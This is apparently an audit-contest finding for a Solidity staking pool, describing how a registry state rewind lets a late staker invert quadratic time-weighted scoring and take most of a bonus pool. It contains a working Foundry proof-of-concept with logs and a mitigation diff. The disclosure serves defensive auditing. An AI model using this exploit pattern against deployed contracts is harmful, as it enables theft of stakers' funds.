FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

MEV bots can drain the entire bonus pool via quadratic scoring inversion during upstream registry rewinds

Author Revealed upon completion

Description

The BattleChain ConfidencePool distributes its bonus pool using a k=2 quadratic time-weighted formula to reward early stakers. It locks riskWindowEnd when it observes a terminal state, and the score scales proportionally to (T - entryTime)^2.

The specific issue occurs when the upstream registry rewinds from PRODUCTION back to UNDER_ATTACK. This unintentionally bypasses the _assertDepositsAllowed check, allowing late deposits. A MEV bot can deposit after the rewind, securing an entry time (E) strictly greater than the locked riskWindowEnd (T). Because the formula evaluates (T - E)^2, the negative time difference is squared into a massive positive multiplier, inverting the penalty and granting the late attacker an overwhelmingly large share of the bonus pool.

// Root cause in the codebase: _assertDepositsAllowed is bypassed during UNDER_ATTACK rewind
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}
// Root cause in _bonusShare: (T - E) is squared, turning a late entry into a massive reward multiplier
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;

Risk

Likelihood:

  • Occurs deterministically whenever the upstream registry undergoes a state rewind back to UNDER_ATTACK after a terminal state has locked riskWindowEnd.

Impact:

  • Direct theft of the bonus pool (yields) that rightfully belongs to the honest early stakers who bore the actual risk.

Proof of Concept

The vulnerability works through the following steps:

  1. Initial State: An honest user (Alice) stakes early, taking on legitimate risk.

  2. Locking the Window: The registry enters an active risk state, then transitions to a terminal state (PRODUCTION), which permanently locks riskWindowEnd = 2000.

  3. The Rewind: The upstream registry rewinds back to UNDER_ATTACK. Withdrawals correctly remain disabled, but deposits are unintentionally re-allowed.

  4. The Exploit: A MEV bot (Bob) stakes at t = 5000, well after the locked riskWindowEnd.

  5. The Inversion: The pool resolves successfully. When rewards are calculated, Bob's late entry time (E=5000) is subtracted from the locked window end (T=2000). The formula (T - E)^2 squares the negative difference (2000 - 5000)^2 = 9,000,000, granting Bob 90% of the bonus pool.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import "forge-std/console.sol";
contract RewindMEVPOC is BaseConfidencePoolTest {
function testRewindMEVStealsBonusPool() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 1000 * ONE);
vm.warp(BASE_TIMESTAMP + 1000);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(BASE_TIMESTAMP + 2000);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(BASE_TIMESTAMP + 5000);
_stake(bob, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceReward = token.balanceOf(alice) - aliceBefore - (100 * ONE);
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobReward = token.balanceOf(bob) - bobBefore - (100 * ONE);
assertEq(bobReward, 900 * ONE);
assertEq(aliceReward, 100 * ONE);
}
}

Execution Logs:

Ran 1 test for test/unit/ConfidencePool.rewindMEV.t.sol:RewindMEVPOC
[PASS] testRewindMEVStealsBonusPool() (gas: 684837)
Logs:
Alice (honest, early) reward: 100
Bob (MEV bot, late) reward: 900

Recommended Mitigation

Ensure that newEntry is clamped to riskWindowEnd if a rewind occurs, preventing E from exceeding T and inverting the quadratic penalty.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
+ uint256 end = riskWindowEnd;
+ if (end != 0 && newEntry > end) newEntry = end;
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!